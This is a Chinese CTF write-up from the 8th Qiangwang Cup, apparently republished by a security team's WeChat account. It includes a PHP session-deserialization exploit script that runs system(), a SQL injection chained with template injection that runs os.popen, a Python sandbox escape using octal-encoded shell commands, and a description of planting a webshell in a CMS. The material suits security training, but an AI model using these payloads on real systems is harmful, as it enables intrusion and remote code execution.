本文章由团队师傅[ZDNWa2FXUnBhMlUlM2Q =]授权并发布
PLANTFORM题解
题目提示:所有人都能登录访问页面
题目截图如上所示,使用账号密码dike/dike登陆平台查看源码dashboard.php,发现有过滤,双写绕过,拼接绕过,尝试php反序列化方法和思路,构造exp如下:
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'Pragma': 'no-cache',
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
}
params = {
'1': "/readflag"
}
data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[1]);";}password|s:1:"a',
'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopensystempopen'
}
url = ""
while 1:
r = requests.session()
response1 = r.post(url+'/index.php', headers=headers, params=params, data=data, verify=False, allow_redirects=False)
response2 = r.post(url+'/index.php', headers=headers, params=params, data=data,verify=False, allow_redirects=False)
response4 = r.post(url + '/dashboard.php?1=/readflag', headers=headers, verify=False, allow_redirects=False)
if "flag" in response4.text:
print(response4.text)
print(r.cookies)
break
r.close()
xiaohuanxiong题解
访问页面
一路安装CMS、连接数据库,最后启动CMS来到一个这个页面
dirsearch尝试扫描admin后台路径,扫描结果如下
访问发现地址http://IP/admin/books/index.html,访问发现账号注册的页面
注册一个admin111账号,然后登录后台
发现配置代码的地方,写入一句话
连接一句话之后找到flag
snake解题
抓包如下
测一下SQL注入
Payload如下
http://eci2ze762llzxw5w7zqyf05.cloudeci1.ichunqiu.com:5000/snake_win?username=1'union%20selec
t%201%2C2%2C%22%7B%7Bnamespace.init.globals.builtins%5B'import'%5D('os').
popen('tac%20%2Fflag').read()%7D%7D%22--%2B
读取到flag
Master of OSINT
访问url 利用百度识图,谷歌识图工具识别位置
再使用百度坐标拾取系统对位置经纬度进行拾取
图片输入对应坐标即可获得flag
(经纬度如下)
一图 99.974383,36.66725
二图 121.567039,31.211279
三图 103.966657,30.571185
四图 120.293197,30.346334
五图 106.524114,29.52509
六图 118.783635,32.013335
七图 112.969521,28.201853
八图 121.734859,31.412815
九图 114.412567,30.661
PyBlockly题解wp
附件为
对代码和html进行分析,且访问题目环境是一个模块化编程的网页,捣鼓捣鼓一下,直接打印发现没有什么东西
猜测需要通过构造shell远程执行代码,发现有过滤,拼接命令绕过通过 import builtins 导入内置模块, 通过 builtins.len = lambda a: 1,重写该函数,后续调用 len 的结果将始终为 1。 subprocess.run(command) 运行构造好的命令。
通过命令替换的方式,将 printf 的输出作为命令来执行。最终传入dd if=flag读 取flag。
EXP如下
‘;__import__(”builtins”)。len=lambda a:1;’‘;__import__(”os”)。system(”$(printf ‘\144\144\40\151\146\75\57\146\154\141\147’);”);’
最后send即可获取flag
END
关注Code4th安全团队
了解更多安全相关内容~
原文始发于微信公众号(Code4th安全团队):第八届强网杯 - Write UP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论